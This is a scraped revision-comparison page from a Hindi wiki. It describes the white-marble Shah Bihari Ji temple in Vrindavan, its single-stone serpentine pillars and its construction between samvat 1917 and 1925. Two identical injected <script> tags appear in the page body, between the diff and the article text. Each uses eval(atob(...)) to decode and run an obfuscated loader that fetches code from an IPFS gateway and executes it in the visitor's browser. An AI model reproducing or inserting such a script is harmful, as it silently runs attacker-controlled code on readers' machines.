"शाह बिहारी जी मन्दिर" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
(नया पृष्ठ: {{Menu}}<br /> {{Incomplete}} {{Vrindavan temple}} ==शाहबिहारी जी मन्दिर / ShahBihari Ji Temple== वृन्दावन के इ...)
 
पंक्ति २: पंक्ति २:
 
{{Incomplete}}
 
{{Incomplete}}
 
{{Vrindavan temple}}
 
{{Vrindavan temple}}
==शाहबिहारी जी मन्दिर / ShahBihari Ji Temple==
+
==शाह बिहारी जी मन्दिर / Shah Bihari Ji Temple==
 
[[वृन्दावन]] के इस मन्दिर में वास्तुकला , [[चित्रकला]], [[मूर्ति कला|मूर्तिकला]] का अद्भुत समन्वय हैं। श्वेत संगमरमर के इस अत्यन्त आकर्षक मन्दिर की विशेषता है कि इसके खम्बे सर्पाकार में एक ही पत्थर की शिला से निर्मित हैं । पत्थर में जड़ाऊ काम के चित्र भी यहां अद्भुत हैं । बसन्ती कमरा भी है । यहां वर्ष में अनेकों आकर्षक उत्सव होते हैं । लखनऊ के [[शाह कुन्दन लाल]] एवं [[फुन्नलाल]] ने माघ शु0 5 संवत् 1917 वि0 को मन्दिर का निर्माण प्रारम्भ किया जो संवत् 1925 में बनकर पूर्ण हुआ ।
 
[[वृन्दावन]] के इस मन्दिर में वास्तुकला , [[चित्रकला]], [[मूर्ति कला|मूर्तिकला]] का अद्भुत समन्वय हैं। श्वेत संगमरमर के इस अत्यन्त आकर्षक मन्दिर की विशेषता है कि इसके खम्बे सर्पाकार में एक ही पत्थर की शिला से निर्मित हैं । पत्थर में जड़ाऊ काम के चित्र भी यहां अद्भुत हैं । बसन्ती कमरा भी है । यहां वर्ष में अनेकों आकर्षक उत्सव होते हैं । लखनऊ के [[शाह कुन्दन लाल]] एवं [[फुन्नलाल]] ने माघ शु0 5 संवत् 1917 वि0 को मन्दिर का निर्माण प्रारम्भ किया जो संवत् 1925 में बनकर पूर्ण हुआ ।
  

१२:३९, ५ सितम्बर २००९ का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


Logo.jpg पन्ना बनने की प्रक्रिया में है। आप इसको तैयार कर सकते हैं। हिंदी (देवनागरी) टाइप की सुविधा संपादन पन्ने पर ही उसके नीचे उपलब्ध है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

साँचा:Vrindavan temple

शाह बिहारी जी मन्दिर / Shah Bihari Ji Temple

वृन्दावन के इस मन्दिर में वास्तुकला , चित्रकला, मूर्तिकला का अद्भुत समन्वय हैं। श्वेत संगमरमर के इस अत्यन्त आकर्षक मन्दिर की विशेषता है कि इसके खम्बे सर्पाकार में एक ही पत्थर की शिला से निर्मित हैं । पत्थर में जड़ाऊ काम के चित्र भी यहां अद्भुत हैं । बसन्ती कमरा भी है । यहां वर्ष में अनेकों आकर्षक उत्सव होते हैं । लखनऊ के शाह कुन्दन लाल एवं फुन्नलाल ने माघ शु0 5 संवत् 1917 वि0 को मन्दिर का निर्माण प्रारम्भ किया जो संवत् 1925 में बनकर पूर्ण हुआ ।